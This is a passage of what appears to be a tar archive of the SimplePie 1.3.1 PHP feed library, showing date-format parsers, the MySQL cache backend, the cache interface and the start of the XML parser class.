		if (!$pcre)
		{
			$wsp = '[\x09\x20]';
			$fws = '(?:' . $wsp . '+|' . $wsp . '*(?:\x0D\x0A' . $wsp . '+)+)';
			$optional_fws = $fws . '?';
			$day_name = $this->day_pcre;
			$month = $this->month_pcre;
			$day = '([0-9]{1,2})';
			$hour = $minute = $second = '([0-9]{2})';
			$year = '([0-9]{2,4})';
			$num_zone = '([+\-])([0-9]{2})([0-9]{2})';
			$character_zone = '([A-Z]{1,5})';
			$zone = '(?:' . $num_zone . '|' . $character_zone . ')';
			$pcre = '/(?:' . $optional_fws . $day_name . $optional_fws . ',)?' . $optional_fws . $day . $fws . $month . $fws . $year . $fws . $hour . $optional_fws . ':' . $optional_fws . $minute . '(?:' . $optional_fws . ':' . $optional_fws . $second . ')?' . $fws . $zone . '/i';
		}
		if (preg_match($pcre, $this->remove_rfc2822_comments($date), $match))
		{
			/*
			Capturing subpatterns:
			1: Day name
			2: Day
			3: Month
			4: Year
			5: Hour
			6: Minute
			7: Second
			8: Timezone ±
			9: Timezone hours
			10: Timezone minutes
			11: Alphabetic timezone
			*/

			// Find the month number
			$month = $this->month[strtolower($match[3])];

			// Numeric timezone
			if ($match[8] !== '')
			{
				$timezone = $match[9] * 3600;
				$timezone += $match[10] * 60;
				if ($match[8] === '-')
				{
					$timezone = 0 - $timezone;
				}
			}
			// Character timezone
			elseif (isset($this->timezone[strtoupper($match[11])]))
			{
				$timezone = $this->timezone[strtoupper($match[11])];
			}
			// Assume everything else to be -0000
			else
			{
				$timezone = 0;
			}

			// Deal with 2/3 digit years
			if ($match[4] < 50)
			{
				$match[4] += 2000;
			}
			elseif ($match[4] < 1000)
			{
				$match[4] += 1900;
			}

			// Second is optional, if it is empty set it to zero
			if ($match[7] !== '')
			{
				$second = $match[7];
			}
			else
			{
				$second = 0;
			}

			return gmmktime($match[5], $match[6], $second, $month, $match[2], $match[4]) - $timezone;
		}
		else
		{
			return false;
		}
	}

	/**
	 * Parse RFC850's date format
	 *
	 * @access protected
	 * @return int Timestamp
	 */
	public function date_rfc850($date)
	{
		static $pcre;
		if (!$pcre)
		{
			$space = '[\x09\x20]+';
			$day_name = $this->day_pcre;
			$month = $this->month_pcre;
			$day = '([0-9]{1,2})';
			$year = $hour = $minute = $second = '([0-9]{2})';
			$zone = '([A-Z]{1,5})';
			$pcre = '/^' . $day_name . ',' . $space . $day . '-' . $month . '-' . $year . $space . $hour . ':' . $minute . ':' . $second . $space . $zone . '$/i';
		}
		if (preg_match($pcre, $date, $match))
		{
			/*
			Capturing subpatterns:
			1: Day name
			2: Day
			3: Month
			4: Year
			5: Hour
			6: Minute
			7: Second
			8: Timezone
			*/

			// Month
			$month = $this->month[strtolower($match[3])];

			// Character timezone
			if (isset($this->timezone[strtoupper($match[8])]))
			{
				$timezone = $this->timezone[strtoupper($match[8])];
			}
			// Assume everything else to be -0000
			else
			{
				$timezone = 0;
			}

			// Deal with 2 digit year
			if ($match[4] < 50)
			{
				$match[4] += 2000;
			}
			else
			{
				$match[4] += 1900;
			}

			return gmmktime($match[5], $match[6], $match[7], $month, $match[2], $match[4]) - $timezone;
		}
		else
		{
			return false;
		}
	}

	/**
	 * Parse C99's asctime()'s date format
	 *
	 * @access protected
	 * @return int Timestamp
	 */
	public function date_asctime($date)
	{
		static $pcre;
		if (!$pcre)
		{
			$space = '[\x09\x20]+';
			$wday_name = $this->day_pcre;
			$mon_name = $this->month_pcre;
			$day = '([0-9]{1,2})';
			$hour = $sec = $min = '([0-9]{2})';
			$year = '([0-9]{4})';
			$terminator = '\x0A?\x00?';
			$pcre = '/^' . $wday_name . $space . $mon_name . $space . $day . $space . $hour . ':' . $min . ':' . $sec . $space . $year . $terminator . '$/i';
		}
		if (preg_match($pcre, $date, $match))
		{
			/*
			Capturing subpatterns:
			1: Day name
			2: Month
			3: Day
			4: Hour
			5: Minute
			6: Second
			7: Year
			*/

			$month = $this->month[strtolower($match[2])];
			return gmmktime($match[4], $match[5], $match[6], $month, $match[3], $match[7]);
		}
		else
		{
			return false;
		}
	}

	/**
	 * Parse dates using strtotime()
	 *
	 * @access protected
	 * @return int Timestamp
	 */
	public function date_strtotime($date)
	{
		$strtotime = strtotime($date);
		if ($strtotime === -1 || $strtotime === false)
		{
			return false;
		}
		else
		{
			return $strtotime;
		}
	}
}

Cache/MySQL.php000066600000027770151273307470007257 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.3.1
 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Geoffrey Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Caches data to a MySQL database
 *
 * Registered for URLs with the "mysql" protocol
 *
 * For example, `mysql://root:password@localhost:3306/mydb?prefix=sp_` will
 * connect to the `mydb` database on `localhost` on port 3306, with the user
 * `root` and the password `password`. All tables will be prefixed with `sp_`
 *
 * @package SimplePie
 * @subpackage Caching
 */
class SimplePie_Cache_MySQL extends SimplePie_Cache_DB
{
	/**
	 * PDO instance
	 *
	 * @var PDO
	 */
	protected $mysql;

	/**
	 * Options
	 *
	 * @var array
	 */
	protected $options;

	/**
	 * Cache ID
	 *
	 * @var string
	 */
	protected $id;

	/**
	 * Create a new cache object
	 *
	 * @param string $location Location string (from SimplePie::$cache_location)
	 * @param string $name Unique ID for the cache
	 * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
	 */
	public function __construct($location, $name, $type)
	{
		$this->options = array(
			'user' => null,
			'pass' => null,
			'host' => '127.0.0.1',
			'port' => '3306',
			'path' => '',
			'extras' => array(
				'prefix' => '',
			),
		);
		$this->options = array_merge_recursive($this->options, SimplePie_Cache::parse_URL($location));

		// Path is prefixed with a "/"
		$this->options['dbname'] = substr($this->options['path'], 1);

		try
		{
			$this->mysql = new PDO("mysql:dbname={$this->options['dbname']};host={$this->options['host']};port={$this->options['port']}", $this->options['user'], $this->options['pass'], array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8'));
		}
		catch (PDOException $e)
		{
			$this->mysql = null;
			return;
		}

		$this->id = $name . $type;

		if (!$query = $this->mysql->query('SHOW TABLES'))
		{
			$this->mysql = null;
			return;
		}

		$db = array();
		while ($row = $query->fetchColumn())
		{
			$db[] = $row;
		}

		if (!in_array($this->options['extras']['prefix'] . 'cache_data', $db))
		{
			$query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'cache_data` (`id` TEXT CHARACTER SET utf8 NOT NULL, `items` SMALLINT NOT NULL DEFAULT 0, `data` BLOB NOT NULL, `mtime` INT UNSIGNED NOT NULL, UNIQUE (`id`(125)))');
			if ($query === false)
			{
				$this->mysql = null;
			}
		}

		if (!in_array($this->options['extras']['prefix'] . 'items', $db))
		{
			$query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'items` (`feed_id` TEXT CHARACTER SET utf8 NOT NULL, `id` TEXT CHARACTER SET utf8 NOT NULL, `data` TEXT CHARACTER SET utf8 NOT NULL, `posted` INT UNSIGNED NOT NULL, INDEX `feed_id` (`feed_id`(125)))');
			if ($query === false)
			{
				$this->mysql = null;
			}
		}
	}

	/**
	 * Save data to the cache
	 *
	 * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
	 * @return bool Successfulness
	 */
	public function save($data)
	{
		if ($this->mysql === null)
		{
			return false;
		}

		if ($data instanceof SimplePie)
		{
			$data = clone $data;

			$prepared = self::prepare_simplepie_object_for_cache($data);

			$query = $this->mysql->prepare('SELECT COUNT(*) FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed');
			$query->bindValue(':feed', $this->id);
			if ($query->execute())
			{
				if ($query->fetchColumn() > 0)
				{
					$items = count($prepared[1]);
					if ($items)
					{
						$sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = :items, `data` = :data, `mtime` = :time WHERE `id` = :feed';
						$query = $this->mysql->prepare($sql);
						$query->bindValue(':items', $items);
					}
					else
					{
						$sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `data` = :data, `mtime` = :time WHERE `id` = :feed';
						$query = $this->mysql->prepare($sql);
					}

					$query->bindValue(':data', $prepared[0]);
					$query->bindValue(':time', time());
					$query->bindValue(':feed', $this->id);
					if (!$query->execute())
					{
						return false;
					}
				}
				else
				{
					$query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:feed, :count, :data, :time)');
					$query->bindValue(':feed', $this->id);
					$query->bindValue(':count', count($prepared[1]));
					$query->bindValue(':data', $prepared[0]);
					$query->bindValue(':time', time());
					if (!$query->execute())
					{
						return false;
					}
				}

				$ids = array_keys($prepared[1]);
				if (!empty($ids))
				{
					foreach ($ids as $id)
					{
						$database_ids[] = $this->mysql->quote($id);
					}

					$query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `id` = ' . implode(' OR `id` = ', $database_ids) . ' AND `feed_id` = :feed');
					$query->bindValue(':feed', $this->id);

					if ($query->execute())
					{
						$existing_ids = array();
						while ($row = $query->fetchColumn())
						{
							$existing_ids[] = $row;
						}

						$new_ids = array_diff($ids, $existing_ids);

						foreach ($new_ids as $new_id)
						{
							if (!($date = $prepared[1][$new_id]->get_date('U')))
							{
								$date = time();
							}

							$query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'items` (`feed_id`, `id`, `data`, `posted`) VALUES(:feed, :id, :data, :date)');
							$query->bindValue(':feed', $this->id);
							$query->bindValue(':id', $new_id);
							$query->bindValue(':data', serialize($prepared[1][$new_id]->data));
							$query->bindValue(':date', $date);
							if (!$query->execute())
							{
								return false;
							}
						}
						return true;
					}
				}
				else
				{
					return true;
				}
			}
		}
		else
		{
			$query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed');
			$query->bindValue(':feed', $this->id);
			if ($query->execute())
			{
				if ($query->rowCount() > 0)
				{
					$query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = 0, `data` = :data, `mtime` = :time WHERE `id` = :feed');
					$query->bindValue(':data', serialize($data));
					$query->bindValue(':time', time());
					$query->bindValue(':feed', $this->id);
					if ($this->execute())
					{
						return true;
					}
				}
				else
				{
					$query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:id, 0, :data, :time)');
					$query->bindValue(':id', $this->id);
					$query->bindValue(':data', serialize($data));
					$query->bindValue(':time', time());
					if ($query->execute())
					{
						return true;
					}
				}
			}
		}
		return false;
	}

	/**
	 * Retrieve the data saved to the cache
	 *
	 * @return array Data for SimplePie::$data
	 */
	public function load()
	{
		if ($this->mysql === null)
		{
			return false;
		}

		$query = $this->mysql->prepare('SELECT `items`, `data` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
		$query->bindValue(':id', $this->id);
		if ($query->execute() && ($row = $query->fetch()))
		{
			$data = unserialize($row[1]);

			if (isset($this->options['items'][0]))
			{
				$items = (int) $this->options['items'][0];
			}
			else
			{
				$items = (int) $row[0];
			}

			if ($items !== 0)
			{
				if (isset($data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]))
				{
					$feed =& $data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0];
				}
				elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]))
				{
					$feed =& $data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0];
				}
				elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]))
				{
					$feed =& $data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0];
				}
				elseif (isset($data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]))
				{
					$feed =& $data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0];
				}
				else
				{
					$feed = null;
				}

				if ($feed !== null)
				{
					$sql = 'SELECT `data` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :feed ORDER BY `posted` DESC';
					if ($items > 0)
					{
						$sql .= ' LIMIT ' . $items;
					}

					$query = $this->mysql->prepare($sql);
					$query->bindValue(':feed', $this->id);
					if ($query->execute())
					{
						while ($row = $query->fetchColumn())
						{
							$feed['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['entry'][] = unserialize($row);
						}
					}
					else
					{
						return false;
					}
				}
			}
			return $data;
		}
		return false;
	}

	/**
	 * Retrieve the last modified time for the cache
	 *
	 * @return int Timestamp
	 */
	public function mtime()
	{
		if ($this->mysql === null)
		{
			return false;
		}

		$query = $this->mysql->prepare('SELECT `mtime` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
		$query->bindValue(':id', $this->id);
		if ($query->execute() && ($time = $query->fetchColumn()))
		{
			return $time;
		}
		else
		{
			return false;
		}
	}

	/**
	 * Set the last modified time to the current time
	 *
	 * @return bool Success status
	 */
	public function touch()
	{
		if ($this->mysql === null)
		{
			return false;
		}

		$query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `mtime` = :time WHERE `id` = :id');
		$query->bindValue(':time', time());
		$query->bindValue(':id', $this->id);
		if ($query->execute() && $query->rowCount() > 0)
		{
			return true;
		}
		else
		{
			return false;
		}
	}

	/**
	 * Remove the cache
	 *
	 * @return bool Success status
	 */
	public function unlink()
	{
		if ($this->mysql === null)
		{
			return false;
		}

		$query = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
		$query->bindValue(':id', $this->id);
		$query2 = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :id');
		$query2->bindValue(':id', $this->id);
		if ($query->execute() && $query2->execute())
		{
			return true;
		}
		else
		{
			return false;
		}
	}
}
Cache/Base.php000066600000006574151273307470007163 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.3.1
 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Geoffrey Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Base for cache objects
 *
 * Classes to be used with {@see SimplePie_Cache::register()} are expected
 * to implement this interface.
 *
 * @package SimplePie
 * @subpackage Caching
 */
interface SimplePie_Cache_Base
{
	/**
	 * Feed cache type
	 *
	 * @var string
	 */
	const TYPE_FEED = 'spc';

	/**
	 * Image cache type
	 *
	 * @var string
	 */
	const TYPE_IMAGE = 'spi';

	/**
	 * Create a new cache object
	 *
	 * @param string $location Location string (from SimplePie::$cache_location)
	 * @param string $name Unique ID for the cache
	 * @param string $type Either TYPE_FEED for SimplePie data, or TYPE_IMAGE for image data
	 */
	public function __construct($location, $name, $type);

	/**
	 * Save data to the cache
	 *
	 * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property
	 * @return bool Successfulness
	 */
	public function save($data);

	/**
	 * Retrieve the data saved to the cache
	 *
	 * @return array Data for SimplePie::$data
	 */
	public function load();

	/**
	 * Retrieve the last modified time for the cache
	 *
	 * @return int Timestamp
	 */
	public function mtime();

	/**
	 * Set the last modified time to the current time
	 *
	 * @return bool Success status
	 */
	public function touch();

	/**
	 * Remove the cache
	 *
	 * @return bool Success status
	 */
	public function unlink();
}
Parser.php000066600000027113151273307470006532 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2012, Ryan Parman, Geoffrey Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @version 1.3.1
 * @copyright 2004-2012 Ryan Parman, Geoffrey Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Geoffrey Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Parses XML into something sane
 *
 *
 * This class can be overloaded with {@see SimplePie::set_parser_class()}
 *
 * @package SimplePie
 * @subpackage Parsing
 */
class SimplePie_Parser
{
	var $error_code;
	var $error_string;
	var $current_line;
	var $current_column;
	var $current_byte;
	var $separator = ' ';
	var $namespace = array('');
	var $element = array('');
	var $xml_base = array('');
	var $xml_base_explicit = array(false);
	var $xml_lang = array('');
	var $data = array();
	var $datas = array(array());
	var $current_xhtml_construct = -1;
	var $encoding;
	protected $registry;

	public function set_registry(SimplePie_Registry $registry)
	{
		$this->registry = $registry;
	}

	public function parse(&$data, $encoding)
	{
		// Use UTF-8 if we get passed US-ASCII, as every US-ASCII character is a UTF-8 character
		if (strtoupper($encoding) === 'US-ASCII')
		{
			$this->encoding = 'UTF-8';
		}
		else
		{
			$this->encoding = $encoding;
		}

		// Strip BOM:
		// UTF-32 Big Endian BOM
		if (substr($data, 0, 4) === "\x00\x00\xFE\xFF")
		{
			$data = substr($data, 4);
		}
		// UTF-32 Little Endian BOM
		elseif (substr($data, 0, 4) === "\xFF\xFE\x00\x00")
		{
			$data = substr($data, 4);
		}
		// UTF-16 Big Endian BOM
		elseif (substr($data, 0, 2) === "\xFE\xFF")
		{
			$data = substr($data, 2);
		}
		// UTF-16 Little Endian BOM
		elseif (substr($data, 0, 2) === "\xFF\xFE")
		{
			$data = substr($data, 2);
		}
		// UTF-8 BOM
		elseif (substr($data, 0, 3) === "\xEF\xBB\xBF")
		{
			$data = substr($data, 3);
		}

		if (substr($data, 0, 5) === '<?xml' && strspn(substr($data, 5, 1), "\x09\x0A\x0D\x20") && ($pos = strpos($data, '?>')) !== false)
		{
			$declaration = $this->registry->create('XML_Declaration_Parser', array(substr($data, 5, $pos - 5)));
			if ($declaration->parse())
			{
				$data = substr($data, $pos + 2);
				$data = '<?xml version="' . $declaration->version . '" encoding="' . $encoding . '" standalone="' . (($declaration->standalone) ? 'yes' : 'no') . '"?>' . $data;
			}
			else
			{
				$this->error_string = 'SimplePie bug! Please report this!';
				return false;
			}
		}

		$return = true;

		static $xml_is_sane = null;
		if ($xml_is_sane === null)
		{
			$parser_check = xml_parser_create();
			xml_parse_into_struct($parser_check, '<foo>&amp;</foo>', $values);
			xml_parser_free($parser_check);
			$xml_is_sane = isset($values[0]['value']);
		}

		// Create the parser
		if ($xml_is_sane)
		{
			$xml = xml_parser_create_ns($this->encoding, $this->separator);
			xml_parser_set_option($xml, XML_OPTION_SKIP_WHITE, 1);
			xml_parser_set_option($xml, XML_OPTION_CASE_FOLDING, 0);
			xml_set_object($xml, $this);
			xml_set_character_data_handler($xml, 'cdata');
			xml_set_element_handler($xml, 'tag_open', 'tag_close');

			// Parse!
			if (!xml_parse($xml, $data, true))
			{
				$this->error_code = xml_get_error_code($xml);
				$this->error_string = xml_error_string($this->error_code);
				$return = false;
			}
			$this->current_line = xml_get_current_line_number($xml);
			$this->current_column = xml_get_current_column_number($xml);
			$this->current_byte = xml_get_current_byte_index($xml);
			xml_parser_free($xml);
			return $return;
		}
		else
		{
			libxml_clear_errors();
			$xml = new XMLReader();
			$xml->xml($data);
			while (@$xml->read())
			{
				switch ($xml->nodeType)
				{

					case constant('XMLReader::END_ELEMENT'):
						if ($xml->namespaceURI !== '')
						{
							$tagName = $xml->namespaceURI . $this->separator . $xml->localName;
						}
						else
						{
							$tagName = $xml->localName;
						}
						$this->tag_close(null, $tagName);
						break;
					case constant('XMLReader::ELEMENT'):
						$empty = $xml->isEmptyElement;
						if ($xml->namespaceURI !== '')
						{
							$tagName = $xml->namespaceURI . $this->separator . $xml->localName;
						}
						else
						{
							$tagName = $xml->localName;
						}
						$attributes = array();
						while ($xml->moveToNextAttribute())
						{
							if ($xml->namespaceURI !== '')
							{
								$attrName = $xml->namespaceURI . $this->separator . $xml->localName;
							}
							else
							{
								$attrName = $xml->localName;
							}
							$attributes[$attrName] = $xml->value;
						}
						$this->tag_open(null, $tagName, $attributes);
						if ($empty)
						{
							$this->tag_close(null, $tagName);
						}
						break;
					case constant('XMLReader::TEXT'):

					case constant('XMLReader::CDATA'):
						$this->cdata(null, $xml->value);
						break;
				}
			}
			if ($error = libxml_get_last_error())
			{
				$this->error_code = $error->code;
				$this->error_string = $error->message;
				$this->current_line = $error->line;
				$this->current_column = $error->column;
				return false;
			}
			else
			{
				return true;
			}
		}
	}

	public function get_error_code()
	{
		return $this->error_code;
	}

	public function get_error_string()
	{
		return $this->error_string;
	}

	public function get_current_line()
	{
		return $this->current_line;
	}

	public function get_current_column()
	{
		return $this->current_column;
	}

	public function get_current_byte()
	{
		return $this->current_byte;
	}

	public function get_data()
	{
		return $this->data;
	}

	public function tag_open($parser, $tag, $attributes)
	{
		list($this->namespace[], $this->element[]) = $this->split_ns($tag);

		$attribs = array();
		foreach ($attributes as $name => $value)
		{
			list($attrib_namespace, $attribute) = $this->split_ns($name);
			$attribs[$attrib_namespace][$attribute] = $value;
		}

		if (isset($attribs[SIMPLEPIE_NAMESPACE_XML]['base']))
		{
			$base = $this->registry->call('Misc', 'absolutize_url', array($attribs[SIMPLEPIE_NAMESPACE_XML]['base'], end($this->xml_base)));
			if ($base !== false)
			{
				$this->xml_base[] = $base;
				$this->xml_base_explicit[] = true;
			}
		}
		else
		{
			$this->xml_base[] = end($this->xml_base);
			$this->xml_base_explicit[] = end($this->xml_base_explicit);
		}

		if (isset($attribs[SIMPLEPIE_NAMESPACE_XML]['lang']))
		{
			$this->xml_lang[] = $attribs[SIMPLEPIE_NAMESPACE_XML]['lang'];
		}
		else
		{
			$this->xml_lang[] = end($this->xml_lang);
		}

		if ($this->current_xhtml_construct >= 0)
		{
			$this->current_xhtml_construct++;
			if (end($this->namespace) === SIMPLEPIE_NAMESPACE_XHTML)
			{
				$this->data['data'] .= '<' . end($this->element);
				if (isset($attribs['']))
				{
					foreach ($attribs[''] as $name => $value)
					{
						$this->data['data'] .= ' ' . $name . '="' . htmlspecialchars($value, ENT_COMPAT, $this->encoding) . '"';
					}
				}
				$this->data['data'] .= '>';
			}
		}
		else
		{
			$this->datas[] =& $this->data;
			$this->data =& $this->data['child'][end($this->namespace)][end($this->element)][];
			$this->data = array('data' => '', 'attribs' => $attribs, 'xml_base' => end($this->xml_base), 'xml_base_explicit' => end($this->xml_base_explicit), 'xml_lang' => end($this->xml_lang));
			if ((end($this->namespace) === SIMPLEPIE_NAMESPACE_ATOM_03 && in_array(end($this->element), array('title', 'tagline', 'copyright', 'info', 'summary', 'content')) && isset($attribs['']['mode']) && $attribs['']['mode'] === 'xml')
			|| (end($this->namespace) === SIMPLEPIE_NAMESPACE_ATOM_10 && in_array(end($this->element), array('rights', 'subtitle', 'summary', 'info', 'title', 'content')) && isset($attribs['']['type']) && $attribs['']['type'] === 'xhtml')
			|| (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_20 && in_array(end($this->element), array('title')))
			|| (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_090 && in_array(end($this->element), array('title')))
			|| (end($this->namespace) === SIMPLEPIE_NAMESPACE_RSS_10 && in_array(end($this->element), array('title'))))
			{
				$this->current_xhtml_construct = 0;
			}
		}
	}

	public function cdata($parser, $cdata)
	{
		if ($this->current_xhtml_construct >= 0)
		{
			$this->data['data'] .= htmlspecialchars($cdata, ENT_QUOTES, $this->encoding);
		}
		else
		{
			$this->data['data'] .= $cdata;
		}
	}

	public function tag_close($parser, $tag)
	{
		if ($this->current_xhtml_construct >= 0)
		{
			$this->current_xhtml_construct--;
			if (end($this->namespace) === SIMPLEPIE_NAMESPACE_XHTML && !in_array(end($this->element), array('area', 'base', 'basefont', 'br', 'col', 'frame', 'hr', 'img', 'input', 'isindex', 'link', 'meta', 'param')))
			{
				$this->data['data'] .= '</' . end($this->element) . '>';
			}
		}
		if ($this->current_xhtml_construct === -1)
		{
			$this->data =& $this->datas[count($this->datas) - 1];
			array_pop($this->datas);
		}

		array_pop($this->element);
		array_pop($this->namespace);
		array_pop($this->xml_base);
		array_pop($this->xml_base_explicit);
		array_pop($this->xml_lang);
	}

	public function split_ns($string)
	{
		static $cache = array();
		if (!isset($cache[$string]))
		{
			if ($pos = strpos($string, $this->separator))
			{
